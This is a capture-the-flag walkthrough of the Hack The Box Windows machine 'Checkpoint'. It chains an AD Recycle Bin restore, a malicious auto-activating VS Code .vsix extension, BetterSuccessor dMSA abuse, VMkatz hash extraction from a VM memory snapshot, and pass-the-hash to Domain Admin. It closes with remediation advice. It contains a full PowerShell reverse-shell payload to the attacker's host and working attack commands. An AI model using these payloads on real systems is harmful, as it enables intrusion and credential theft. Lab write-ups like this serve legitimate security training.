HTB: Checkpoint

Checkpoint is a medium Windows machine starting with assumed-breach credentials which carry write access over the AD Recycle Bin, letting me restore a deleted user which can write to the DevDrop SMB share. A malicious .VSIX extension (CVE-2025-55319) file executes when the developer opens VS Code, granting the user shell. From there I abuse BetterSuccessor (CVE-2025-53779), creating a delegated Managed Service Account that supersedes svc_deploy and inherits BackupAccess rights. That unlocks the VMBackups share, where a VMware memory snapshot gives up the Administrator hash through VMkatz, leading to full domain compromise via Pass-the-Hash.

$ cat checkpoint.md | grep -E "time|words"16 min read · 3252 words

Checkpoint Avatar

TL;DR#

IPs#

Hack The Box uses dynamic IP addresses. I will use 10.129.90.9 for Checkpoint and 10.10.4.4 for my Kali throughout this writeup, please change them to your own IPs.

Kill Chain#

Breached Credentials (alex.turner) ➔ WRITE over the AD Recycle Bin ➔ Restored user mark.davies ➔ Password Reuse ➔ Malicious VSIX on DevDrop: CVE-2025-55319 ➔ ryan.brooks (user.txt) ➔ BetterSuccessor dMSA abuse: CVE-2025-53779 ➔ act as svc_deploy ➔ VMBackups memory snapshot ➔ VMkatz recovers local Administrator hash ➔ Pass-the-Hash ➔ Administrator ➔ max.palmer (root.txt)

Reconnaissance & Enumeration#

Breached Credentials: alex.turner#

Checkpoint is an assumed-breach box, I start with credentials:

HTB: Checkpoint - Machine Information | As is common in real life pentests, you will start the Checkpoint box with credentials for the following account alex.turner / Checkpoint2024!

  • Username: alex.turner
  • Password: Checkpoint2024!

TCP Scan: nmap#

My nmap scan shows a typical Microsoft AD domain controller:

nmap — cheatsheet reference
active-directory — cheatsheet reference
kerberos — cheatsheet reference

Key takeaways: the host is dc01.checkpoint.htb, the domain is checkpoint.htb and SMB signing is enforced. I map the names into /etc/hosts:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/checkpoint]
└─$ echo "10.129.90.9 checkpoint.htb dc01.checkpoint.htb" | sudo tee -a /etc/hosts

SMB Enumeration: netexec#

With a valid domain account I enumerate shares using NetExec. Beyond the defaults there is a non-standard DevDrop share that alex.turner can READ, and a locked-down VMBackups share:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/checkpoint]
└─$ nxc smb checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --shares
SMB         10.129.90.9    445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)                                                                                                                                                        
SMB         10.129.90.9    445    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 
SMB         10.129.90.9    445    DC01             [*] Enumerated shares
SMB         10.129.90.9    445    DC01             Share           Permissions     Remark
SMB         10.129.90.9    445    DC01             -----           -----------     ------
SMB         10.129.90.9    445    DC01             ADMIN$                          Remote Admin
SMB         10.129.90.9    445    DC01             C$                              Default share
SMB         10.129.90.9    445    DC01             DevDrop         READ            VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0                                                                                                                                         
SMB         10.129.90.9    445    DC01             IPC$            READ            Remote IPC
SMB         10.129.90.9    445    DC01             NETLOGON        READ            Logon server share 
SMB         10.129.90.9    445    DC01             SYSVOL          READ            Logon server share 
SMB         10.129.90.9    445    DC01             VMBackups
netexec — cheatsheet reference

A share named DevDrop paired with the box name Checkpoint (a VS Code editorial reference), already hints at a developer-drop workflow.

LDAP Enumeration: bloodyAD#

Before touching the share I want the full picture of what alex.turner can modify. bloodyAD with the get writable action enumerates every object the account holds write rights over:

bloodyad — cheatsheet reference

Two edges stand out:

  • WRITE on CN=Deleted Objects: write access over the AD Recycle Bin. That means I can restore tombstoned objects back into the domain.
  • CREATE_CHILD on OU=Employees: I can create new objects (including machine/service accounts) inside that OU.

Lateral Movement#

AD Recycle Bin: Restoring mark.davies#

Enumerating the Deleted Objects container turns up a tombstoned user Mark Davies that was deleted but never purged. Because alex.turner can write to the Recycle Bin, I restore it with bloodyAD’s set restore:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/checkpoint]
└─$ bloodyAD --host 10.129.90.9 -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' set restore 'CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb'
[+] CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb has been restored successfully under CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb
bloodyad — cheatsheet reference

Password Reuse: mark.davies#

mark.davies is live again under OU=Employees, and reuses alex.turner’s password:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/checkpoint]
└─$ nxc smb checkpoint.htb -u mark.davies -p 'Checkpoint2024!' --shares
SMB         10.129.90.9    445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)                                                                                                                                                        
SMB         10.129.90.9    445    DC01             [+] checkpoint.htb\mark.davies:Checkpoint2024! 
SMB         10.129.90.9    445    DC01             [*] Enumerated shares
SMB         10.129.90.9    445    DC01             Share           Permissions     Remark
SMB         10.129.90.9    445    DC01             -----           -----------     ------
SMB         10.129.90.9    445    DC01             ADMIN$                          Remote Admin
SMB         10.129.90.9    445    DC01             C$                              Default share
SMB         10.129.90.9    445    DC01             DevDrop         READ,WRITE      VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0                                                                                                                                         
SMB         10.129.90.9    445    DC01             IPC$            READ            Remote IPC
SMB         10.129.90.9    445    DC01             NETLOGON        READ            Logon server share 
SMB         10.129.90.9    445    DC01             SYSVOL          READ            Logon server share 
SMB         10.129.90.9    445    DC01             VMBackups
netexec — cheatsheet reference

mark.davies has write access to the DevDrop share.

CVE-2025-55319: Visual Studio Code RCE#

The intended workflow on this box is that a developer, ryan.brooks, periodically opens the dropped project in Visual Studio Code. That is the trigger for CVE-2025-55319 a Visual Studio Code remote code execution where a crafted workspace extension (.vsix) is auto-activated and executes attacker code the moment the editor loads it.

Crafting the Malicious .VSIX#

A VSIX is just a ZIP with an extension/ folder. My package.json registers an activation event so the extension fires on startup, and extension.js carries a PowerShell reverse shell back to my Kali on 10.10.4.4:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/checkpoint]
└─$ mkdir extension
                                                                                                                                                            
┌──(kali㉿shadowcat)-[~/htb/writeups/checkpoint]
└─$ LHOST=10.10.4.4

┌──(kali㉿shadowcat)-[~/htb/writeups/checkpoint]
└─$ LPORT=443
                                                                                                                                                            
┌──(kali㉿shadowcat)-[~/htb/writeups/checkpoint]
└─$ PAYLOAD="\$client = New-Object System.Net.Sockets.TCPClient('${LHOST}',${LPORT});\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + ' > ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()"
                                                                                                                                                            
┌──(kali㉿shadowcat)-[~/htb/writeups/checkpoint]
└─$ SHELL=$(echo -n "$PAYLOAD" | iconv -t UTF-16LE | base64 -w 0)
reverse-shell — cheatsheet reference

extension/package.json:

json
cat > extension/package.json << EOF
{
  "name": "devtools-helper",
  "displayName": "DevTools Helper",
  "version": "1.0.0",
  "engines": {"vscode": "^1.118.0"},
  "activationEvents": ["*"],
  "main": "./extension.js",
  "contributes": {}
}
EOF

extension/extension.js:

javascript
cat > extension/extension.js << EOF
const cp = require('child_process');
exports.activate = function() {
    cp.exec('powershell -e ${SHELL}');
}
exports.deactivate = function() {}
EOF

[Content_Types].xml:

xml
cat > '[Content_Types].xml' << EOF
<?xml version="1.0" encoding="utf-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
  <Default Extension="json" ContentType="application/json"/>
  <Default Extension="js" ContentType="application/javascript"/>
</Types>
EOF

I package the folder into a shadowcat.vsix archive:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/checkpoint]
└─$ zip -r shadowcat.vsix '[Content_Types].xml' extension/
  adding: extension/ (stored 0%)
  adding: extension/package.json (deflated 36%)
  adding: extension/extension.js (deflated 41%)

Uploading to DevDrop & Catching the Shell#

Using mark.davies’s credentials I drop the payload onto DevDrop share to kick off the developer’s review:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/checkpoint]
└─$ smbclient //checkpoint.htb/DevDrop -U 'checkpoint.htb\mark.davies%Checkpoint2024!' -c 'put shadowcat.vsix'
putting file shadowcat.vsix as \shadowcat.vsix (3.8 kB/s) (average 3.8 kB/s)
smb-enumeration — cheatsheet reference

I start a nc listener and wait. ryan.brooks opens the project in VS Code, the extension activates, and I catch the shell:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/checkpoint]
└─$ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.4.4] from (UNKNOWN) [10.129.90.9] 57222

PS C:\Program Files\Microsoft VS Code> whoami
checkpoint\ryan.brooks
netcat — cheatsheet reference

User Flag#

Snacking the user flag:

bash
PS C:\Program Files\Microsoft VS Code> type C:\Users\ryan.brooks\Desktop\user.txt
5ebcfed94bd21660b67f4e2a99ef15dc

Privilege Escalation#

Enumerating ryan.brooks’ Rights#

As ryan.brooks I look for the next hop. The interesting target is the service account svc_deploy, which sits in the BackupAccess group, the group that can read the locked-down VMBackups share that denied mark.davies earlier. If I can act as svc_deploy, that share is mine. I check what ryan.brooks can do to that object, reading the DACL straight from the directory in the shell:

bash
PS C:\Program Files\Microsoft VS Code> Import-Module ActiveDirectory
PS C:\Program Files\Microsoft VS Code> $acl = Get-Acl "AD:\CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb"
PS C:\Program Files\Microsoft VS Code> $acl.Access | Where-Object {$_.IdentityReference -like "*ryan*"} | Select ActiveDirectoryRights,IdentityReference

ActiveDirectoryRights  IdentityReference
---------------------  -----------------
         GenericWrite  CHECKPOINT\ryan.brooks

So ryan.brooks holds GenericWrite over svc_deploy, and from the earlier bloodyAD enumeration the breached chain also owns CREATE_CHILD on an OU (the DMSAHolder OU). Those two edges together are exactly what the BetterSuccessor technique needs.

CVE-2025-53779: BetterSuccessor dMSA Abuse#

CVE-2025-53779, nicknamed BadSuccessor, abuses delegated Managed Service Accounts (dMSA), a Windows Server 2025 feature. The original attack let anyone who could create a dMSA point its msDS-ManagedAccountPrecededByLink at a privileged victim and receive that victim’s keys, with no interaction from the target.

Microsoft hardened this in August 2025. From build 26100.4946 onwards the migration link must be mutual: the dMSA’s msDS-ManagedAccountPrecededByLink must reference the predecessor, and the predecessor’s own msDS-SupersededManagedAccountLink must reference the dMSA back. This box runs that patched build (26100), so the single-link PoCs dead-end here. The post-patch variant is BetterSuccessor: the KDC only checks that the pairing exists, not who created it, so an attacker who also holds write access over the predecessor can set the reverse link themselves. That is precisely the shape of my rights, CREATE_CHILD on the OU plus GenericWrite on svc_deploy.

bloodyAD automates both halves of the pairing. Its add badSuccessor action creates the dMSA, links it forward to the victim, and writes the msDS-Superseded* attributes back on the victim to satisfy the patched KDC. I run it as ryan.brooks, pointing the new svc_backup$ dMSA at svc_deploy:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/checkpoint]
└─$ bloodyAD --host dc01.checkpoint.htb -d checkpoint.htb -u ryan.brooks -p 'ffffffffffffffffffffffffffffffff:82d044eb259e495fd92a52b2ccece067' add badSuccessor svc_backup --ou 'OU=DMSAHolder,DC=checkpoint,DC=htb' -t 'CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb'
[+] Creating DMSA svc_backup$ in OU=DMSAHolder,DC=checkpoint,DC=htb
[+] Impersonating: CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb
bloodyad — cheatsheet reference
  • -p 'ffff...:82d04...' passes an empty LM hash and ryan.brooks’s NT hash so the whole thing runs over pass-the-hash, no cleartext needed.
  • add badSuccessor svc_backup creates the svc_backup$ dMSA, --ou places it in the OU I can write to, and -t is the predecessor whose rights I want to impersonate.

I confirm the mutual pairing landed on both objects, which is the state the patched KDC demands:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/checkpoint]
└─$ bloodyAD --host dc01.checkpoint.htb -d checkpoint.htb -u ryan.brooks -p 'ffffffffffffffffffffffffffffffff:82d044eb259e495fd92a52b2ccece067' get object 'svc_backup$' --attr msDS-ManagedAccountPrecededByLink,msDS-DelegatedMSAState

distinguishedName: CN=svc_backup,OU=DMSAHolder,DC=checkpoint,DC=htb
msDS-DelegatedMSAState: 2
msDS-ManagedAccountPrecededByLink: CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb
bloodyad — cheatsheet reference

Requesting the dMSA ticket needs a TGT for the account allowed to retrieve the dMSA credentials, which is ryan.brooks. The KDC here rejects RC4, so a hash-based request from Kali gets KDC_ERR_ETYPE_NOTSUPP. The clean path is to ask from inside the ryan.brooks session with Rubeus: tgtdeleg abuses Kerberos GSS-API delegation to make the local LSA hand out a usable TGT, and asktgs /dmsa requests the service ticket while parsing the returned key package. I upload rubeus.exe through DevDrop and run it from the shell:

bash
PS C:\Program Files\Microsoft VS Code> $tgt = (C:\Windows\Temp\rubeus.exe tgtdeleg /nowrap | Select-String "doI").ToString().Trim()
PS C:\Program Files\Microsoft VS Code> C:\Windows\Temp\rubeus.exe asktgs /targetuser:svc_backup$ /service:krbtgt/CHECKPOINT.HTB /opsec /dmsa /nowrap /ticket:$tgt

[*] Action: Ask TGS

[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building DMSA TGS-REQ request for 'svc_backup$' from 'ryan.brooks'
[*] Using domain controller: DC01.checkpoint.htb
[+] TGS request successful!

  ServiceName              :  krbtgt/CHECKPOINT.HTB
  ServiceRealm             :  CHECKPOINT.HTB
  UserName                 :  svc_backup$ (NT_PRINCIPAL)
  UserRealm                :  checkpoint.htb
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  efdlPwfDlrLP5YfMFFDQVdiBnDt33cvuzTkE8MpRHg0=
  Current Keys for svc_backup$: (aes256_cts_hmac_sha1) 40202129CDBDC24F948054DB44775C31D0776354741540F9071DAE645AB5FA5D

The KDC issues the ticket to svc_backup$, but because it believes the account has superseded svc_deploy, the returned PAC carries svc_deploy’s group memberships, including BackupAccess. Any access check against this ticket now resolves with the effective privileges of the service account. That is the whole point of BetterSuccessor.

I save the base64 ticket Rubeus printed, decode it, and convert the .kirbi to the .ccache format Impacket and Evil-WinRM understand:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/checkpoint]
└─$ echo 'doIF3DCCBdigAwIBBaEDAgEW...<SNIP>...' | base64 -d > svc_backup.kirbi

┌──(kali㉿shadowcat)-[~/htb/writeups/checkpoint]
└─$ impacket-ticketConverter svc_backup.kirbi svc_backup.ccache
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] converting kirbi to ccache...
[+] done

┌──(kali㉿shadowcat)-[~/htb/writeups/checkpoint]
└─$ export KRB5CCNAME=svc_backup.ccache

Looting the VMBackups Share#

Acting as svc_backup$ I can now reach anything svc_deploy could. The share that denied mark.davies earlier opens up, and it holds a nested backup folder:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/checkpoint]
└─$ smbclient //dc01.checkpoint.htb/VMBackups -k -c 'ls; cd "NightlyBackup_2024-11-01\memory forensics"; ls'
  .                                   D        0  Sat May  9 16:54:19 2026
  ..                                  D        0  Sat May  9 17:15:22 2026
  NightlyBackup_2024-11-01            D        0  Sat May  9 16:54:19 2026

  Windows Server 2019-Snapshot1.vmem      A  2147483648  Sun May 10 02:40:36 2026
  Windows Server 2019-Snapshot1.vmsn      A   138164859  Sun May 10 02:40:36 2026
  Windows Server 2019.vmdk            A  10199695360  Sun May 10 02:39:00 2026
smb-enumeration — cheatsheet reference

This is a VMware snapshot of a decommissioned Windows Server 2019 host, not a DC image. The .vmdk disks are large and dull, but the snapshot pair is not. When a snapshot is taken on a running VM, the hypervisor writes the guest’s entire physical memory to the .vmem file and the device/memory state to the .vmsn. That is a complete offline copy of the server’s RAM, including the chunks of LSASS that hold cached credentials, with none of the PPL or Credential Guard protections that would apply on a live host. Nobody is asking the OS for permission here, I am just reading a file.

The svc_backup$ dMSA also carries svc_deploy’s Remote Management Users membership, so I open an interactive session with Evil-WinRM using the Kerberos ticket (addressing the DC by its FQDN so the right SPN is requested):

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/checkpoint]
└─$ evil-winrm -i dc01.checkpoint.htb -r CHECKPOINT.HTB
*Evil-WinRM* PS C:\Users\svc_backup$\Documents> whoami
checkpoint\svc_backup$
evil-winrm — cheatsheet reference

VMkatz parses these files and applies the same credential-provider logic Mimikatz uses against a live process. The .vmem is 2 GB, and dragging it back over the VPN crawls, so instead I run VMkatz on the box. I upload the Windows binary and point it at the .vmsn:

bash
*Evil-WinRM* PS C:\Windows\Temp> upload vmkatz.exe
*Evil-WinRM* PS C:\Windows\Temp> .\vmkatz.exe "C:\Shares\VMBackups\NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmsn"
[*] vmkatz v1.5.1
[*] System discovery: 8.14s
[*] Recovering registry hives via CM hive-map...
[+] Bootkey: 75247bc64fa0086d2c98744d4bcd53f5

[+] SAM Hashes:
  RID: 500   Administrator         NT:f29e9c014295b9b32139b09a2790be3b
  RID: 501   Guest                 NT:00000000000000000000000000000000  (DISABLED, NO PASSWORD)
  RID: 503   DefaultAccount        NT:00000000000000000000000000000000  (DISABLED, NO PASSWORD)
  RID: 504   WDAGUtilityAccount    NT:28f8d934dee90b2ec824351cb0844479  (DISABLED)

[+] LSA Secrets:
  DPAPI_SYSTEM
    machine_key: 77d90ebac2487f870a26e4776c72b4509b06dd1b
[*] 2 sessions, 1 NT hashes, 0 plaintext passwords
evil-winrm — cheatsheet reference

The snapshot belongs to a standalone server named WIN-0DG6SJAEUTA, so on paper its local Administrator hash should be useless against the domain. In practice, build images and admin accounts are routinely deployed with a shared password, and this environment already reuses Checkpoint2024! across the Employees. I test the theory with a pass-the-hash as the domain Administrator.

Pass-the-Hash#

The local Administrator hash from the memory image is live against the domain controller, and the account is a Domain Admin:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/checkpoint]
└─$ nxc smb checkpoint.htb -u Administrator -H f29e9c014295b9b32139b09a2790be3b
SMB         10.129.90.9    445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         10.129.90.9    445    DC01             [+] checkpoint.htb\Administrator:f29e9c014295b9b32139b09a2790be3b (Pwn3d!)
netexec — cheatsheet reference

I Pass-the-Hash straight in with wmiexec:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/checkpoint]
└─$ impacket-wmiexec -hashes :f29e9c014295b9b32139b09a2790be3b checkpoint.htb/Administrator@dc01.checkpoint.htb "cmd /c whoami"
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
checkpoint\administrator

Root Flag#

The root flag is ready to munch on max.palmer’s desktop:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/checkpoint]
└─$ impacket-wmiexec -hashes :f29e9c014295b9b32139b09a2790be3b checkpoint.htb/Administrator@dc01.checkpoint.htb "type C:\Users\max.palmer\Desktop\root.txt"
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
bd8cc656fc117aab62f5e11545c3a7a2

The domain Administrator hash owns the DC outright, so this is full, persistent domain compromise. Checkpoint is rooted.

Pwned#

Vulnerabilities#

Beyond root, let me summarize which vulnerabilities I found and used on Checkpoint:

Vulnerabilities Summary#

vulnerabilities
VulnerabilityCVE / CWESeverityRoot CauseReal-World Impact
Writable AD Recycle BinCWE-284: Improper Access ControlHighalex.turner holds WRITE over CN=Deleted Objects, allowing tombstoned accounts to be restored into a writable OUAttacker resurrects a disabled account (mark.davies) and inherits write control over it, re-introducing a removed identity into the domain
Password Reuse Across AccountsCWE-521: Weak Password RequirementsMediumMultiple Employees accounts share the identical password (Checkpoint2024!)Immediately yields usable credentials for another account and pivot
World-Writable SMB Share (DevDrop)CWE-276: Incorrect Default PermissionsHighDevDrop grants WRITE to low-privileged users and feeds a developer’s VS Code workflowArbitrary payload staging into a trusted developer pipeline
VS Code Malicious VSIX RCECVE-2025-55319 / CWE-94: Improper Control of Generation of CodeCriticalA crafted .vsix extension auto-activates and executes code when the developer opens the workspace in VS CodeRemote code execution as ryan.brooks, the initial interactive foothold on the DC
BetterSuccessor dMSA Privilege EscalationCVE-2025-53779 / CWE-269: Improper Privilege ManagementCriticalA principal with CREATE_CHILD on an OU plus write access over a victim can set the mutual dMSA succession link both ways, satisfying the patched KDCryan.brooks creates a dMSA that supersedes svc_deploy and inherits its BackupAccess role with no interaction from the account owner
Unencrypted VM Memory Snapshot on SMBCWE-522: Insufficiently Protected CredentialsCriticalThe VMBackups share holds a VMware .vmem/.vmsn snapshot of a decommissioned server, a complete offline copy of its RAM and SAMOffline credential extraction with VMkatz recovers the local Administrator hash, bypassing PPL and Credential Guard entirely
Password Reuse (Local to Domain Admin)CWE-521: Weak Password RequirementsCriticalThe decommissioned server’s local Administrator password matches the domain Administrator passwordA SAM hash from an old backup Pass-the-Hashes straight into Domain Admin on the live DC

Remediation#

If I were the admin of Checkpoint, these are the steps to break the kill chain at each stage:

Writable AD Recycle Bin (CWE-284)#

Remove non-administrative write access to CN=Deleted Objects. Restoration of tombstoned objects is a tier-0 operation and should be reserved for Domain Admins. Audit the DACL on the Deleted Objects container and strip the ACE granting alex.turner (or its group) write permission:

powershell
dsacls "CN=Deleted Objects,DC=checkpoint,DC=htb" /R "CHECKPOINT\alex.turner"

Password Reuse (CWE-521)#

Rotate every Employees credential and enforce unique, long passphrases with a banned-password list (Azure AD Password Protection on-prem agent). Checkpoint2024! is a seasonal, dictionary-adjacent password and must be prohibited.

World-Writable SMB Share (CWE-276)#

Scope DevDrop so that only the developer accounts that consume it can write, and host the drop off the domain controller entirely. Enable SMB auditing (Event ID 5145) to flag writes of executable artifacts such as .vsix, .ps1, or .dll.

VS Code Malicious VSIX RCE: CVE-2025-55319#

Patch Visual Studio Code to the fixed build. Operationally, developers should never open untrusted workspaces with auto-activation enabled, so enforce Workspace Trust and disable auto-installing or auto-activating extensions from shared folders:

json
// settings.json (enforced via policy)
"security.workspace.trust.enabled": true,
"extensions.autoCheckUpdates": false,
"extensions.autoUpdate": false

BetterSuccessor dMSA Abuse: CVE-2025-53779#

The August 2025 patch that enforces the mutual succession link is necessary but not sufficient, since BetterSuccessor defeats it by abusing write access over the predecessor. Remove CREATE_CHILD and dMSA creation rights from non-tier-0 principals, and crucially do not grant low-privileged users GenericWrite (or any write edge) over service accounts. Monitor creation of msDS-DelegatedManagedServiceAccount objects and writes to msDS-ManagedAccountPrecededByLink and msDS-SupersededManagedAccountLink, and hunt for anomalous dMSA ticket requests in Kerberos service-ticket logs.

Unencrypted VM Memory Snapshot on SMB (CWE-522)#

A VMware .vmem/.vmsn snapshot is a complete offline copy of a running server’s RAM, so it carries the SAM, LSA secrets, and cached logons with none of the PPL or Credential Guard protections of a live host. Never expose VM snapshots or disk images on a domain-reachable SMB share. Store them on isolated, encrypted backup infrastructure, restrict read access to a dedicated backup identity that is itself treated as tier-0, and audit reads of backup artifacts (Event ID 5145 on the backup share). Treat any account that can read a memory image as equivalent to local admin on the captured host.

Password Reuse (Local to Domain Admin) (CWE-521)#

Decommissioning a server does not retire its secrets if the image lives on. The local Administrator password on WIN-0DG6SJAEUTA was identical to the domain Administrator password, so one old snapshot yielded Domain Admin. Use unique local administrator passwords everywhere (Windows LAPS randomizes and rotates them per host), never share a build-image password between standalone systems and domain accounts, and rotate the domain krbtgt and privileged credentials whenever an image of any domain-joined or build-template host is exposed.

KEYBOARD SHORTCUTS
/
focus the search
?
this card
←→
previous / next boxwriteups and cheatsheets
↓
at the very end: open the next boxwriteups only
Esc
close search, lightbox, menu, this card
root@shadowcat:~$ man shadowcat | grep -i keys